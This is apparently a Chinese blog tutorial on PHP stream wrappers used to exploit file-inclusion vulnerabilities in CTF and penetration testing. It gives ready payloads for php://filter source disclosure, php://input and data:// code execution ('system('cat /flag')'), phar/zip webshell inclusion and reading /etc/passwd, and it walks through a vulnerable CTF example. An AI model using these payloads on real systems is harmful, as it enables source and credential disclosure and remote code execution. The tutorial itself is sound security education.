漏洞知识点《php伪协议》

伪协议不是 CTF 的"默认套路",它是 PHP 真实存在的功能(官方叫 PHP Wrappers,封装协议)。CTF 里高频出现,是因为 CTF 题专门围绕它设计漏洞;但它的原理在真实渗透中一样适用。先说清楚为什么需要它,再说什么时候用。

为什么需要伪协议------根源在 include 的行为

include 拿到一个文件后,不是"显示"它,而是执行它:

php 复制代码
include 'conn.php';
  • 如果 conn.php 是 PHP 代码 → 直接执行,你看不到源码(数据库密码之类全被"吞"掉了)
  • 如果是 .txt、.html 等非 PHP 文件 → 原样输出,不需要伪协议

所以读文件分两种情况:

目标文件 直接 include 的结果 怎么办
flag.txt、/etc/passwd 内容直接显示 不用伪协议
conn.php、config.php 代码被执行,看不到内容 必须想办法让它"不执行"

php://filter 解决的就是第二种情况:它在读取时对内容做一层编码转换,把 PHP 代码变成 base64 文本------base64 不是合法 PHP 代码,PHP 引擎就不执行它,而是当普通字符串输出:

php 复制代码
include 'php://filter/convert.base64-encode/resource=conn.php';

页面输出一大段 base64,你解码后就是 conn.php 的原始源码。

什么环境下用------前提条件

伪协议利用需要满足这些条件,缺一不可:

  1. 存在文件包含点 :文件名能被用户控制,如 include $_GET['file']
  2. allow_url_fopen = On :php://、file:// 等本地流一般要求这个(多数环境默认开)
  3. allow_url_include = On :只有 data://、http:// 远程包含才需要这个(默认关,所以 CTF 里用 data:// 执行代码的题目会明确给这个环境)

也就是说,只要题目(或真实目标)给了你一个可控的 include,伪协议就是你的工具箱,先试试永远没错------这也是它看起来像"默认做法"的原因:它确实是文件包含漏洞的标准利用手段,CTF 和现实渗透都一样。

常用伪协议和各自的用途

1. php://filter ------ 读源码(最常用)

复制代码
php://filter/convert.base64-encode/resource=conn.php
php://filter/read=string.rot13/resource=conn.php   ← base64 被过滤时的备选

2. php://input ------ 执行 POST body 里的代码

include 'php://input' 会把 POST 请求体当 PHP 代码执行:

复制代码
GET /index.php?file=php://input
POST body: <?php system('cat /flag'); ?>

需要 allow_url_include=On。

3. data:// ------ 直接执行 URL 里写的代码

复制代码
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

同样需要 allow_url_include=On,常用于绕过后缀限制(如 include $file.'.php' 时后面拼接的内容可以被代码注释掉)。

4. phar:// / zip:// ------ 配合文件上传

当你只能上传图片,但能把图片做成 phar 包或 zip 包时:

复制代码
?file=phar://./uploads/shell.jpg/test.php    ← 执行压缩包里的 test.php
?file=zip://./uploads/shell.zip%23shell.php

5. file:// ------ 显式读本地文件

复制代码
?file=file:///etc/passwd

效果和直接写相对路径差不多,但在某些过滤了 ../ 的场景可以绕过。

例题

php 复制代码
<?php
show_source(__FILE__);              // 把本文件源码显示出来(作者送的线索)
if(isset($_GET['file'])){
    include $_GET['file'];          // ★ 危险点 1:include 的文件名来自 URL 参数
}
if(!isset($_GET['parameter'])) die();   // 没传 parameter 就直接结束
$str = addslashes($_GET['parameter']);  // ★ 危险点 2:把参数里的特殊字符转义,只当普通文字
$file = file_get_contents('./conn.php');        // 读 conn.php
$file = preg_replace('|\$parameter=\'.*\';|', "\$parameter='$str';", $file);  // 替换里面的变量
file_put_contents('./conn.php', $file);         // 再写回去
?>

这个 include 点直接包含 conn.php 只会执行它、看不到内容;想读它的源码(看看 $parameter 那行长什么样、有什么过滤),就该用:

复制代码
?file=php://filter/convert.base64-encode/resource=conn.php

而题目里第二个漏洞(preg_replace 写配置文件 + addslashes)走的是另一条路------不依赖 include,而是利用参数污染往 conn.php 里写入代码,再配合 include 触发。两条路往往要结合用。

总结

  • 伪协议是 PHP 内置功能,不是 CTF 发明的东西,真实渗透测试里同样是文件包含漏洞的标准利用方式
  • 核心动机就一个:include 会执行 PHP 文件,而你想看的是它的源码 ,php://filter 通过编码让代码"失效可读"
  • CTF 里"上来先试伪协议"是经验习惯,但这个习惯来自真实攻防,不是做题玄学
  • 判断能不能用:看 allow_url_fopen / allow_url_include 配置,以及过滤规则(黑名单里有没有 php://、: 之类)
相关推荐
jimmyleeee6 小时前
Agent安全之八:OWASP ASI08 级联失效------当每一个 Agent 都“正确”,系统却走向灾难
网络·安全·web安全
超级架构师6 小时前
PRAXO-CORE 2.5.0:用 conformance 和显式边界构建 Go Agent 框架
开发语言·人工智能·后端·golang·ai编程·智能体框架·praxo-core
山东科恩光电6 小时前
安全地毯压敏传感快速响应与耐腐蚀橡胶材质在工业危险区域的防护部署
安全
叼烟扛炮7 小时前
Linux 学习笔记(四十三):网络编程进阶——自定义协议解决 TCP 粘包与守护进程
linux·开发语言·网络·笔记·tcp/ip
Escalating_xu7 小时前
【Linux 网络编程】DNS 与 ICMP:从域名解析到 ping、traceroute,把“网络通不通”问清楚
linux·网络·php
LMT流氓兔8 小时前
第五单元——第十六课:给书店助手加上网页界面
java·开发语言·jvm·人工智能·oracle·langchain·1024程序员节
专注仿真8 小时前
梯度提升类(XFBoost)算法详解与代码实例
开发语言·人工智能·python·算法·大模型训练·控制算法
外收内放8 小时前
Python基础语法练习题(75)
开发语言·python·学习
starzy19909 小时前
Scala循环与判断:一切皆表达式的控制流
开发语言·人工智能·scala
starzy19909 小时前
Scala类和对象:从构造器到样例类的完整指南
开发语言·后端·scala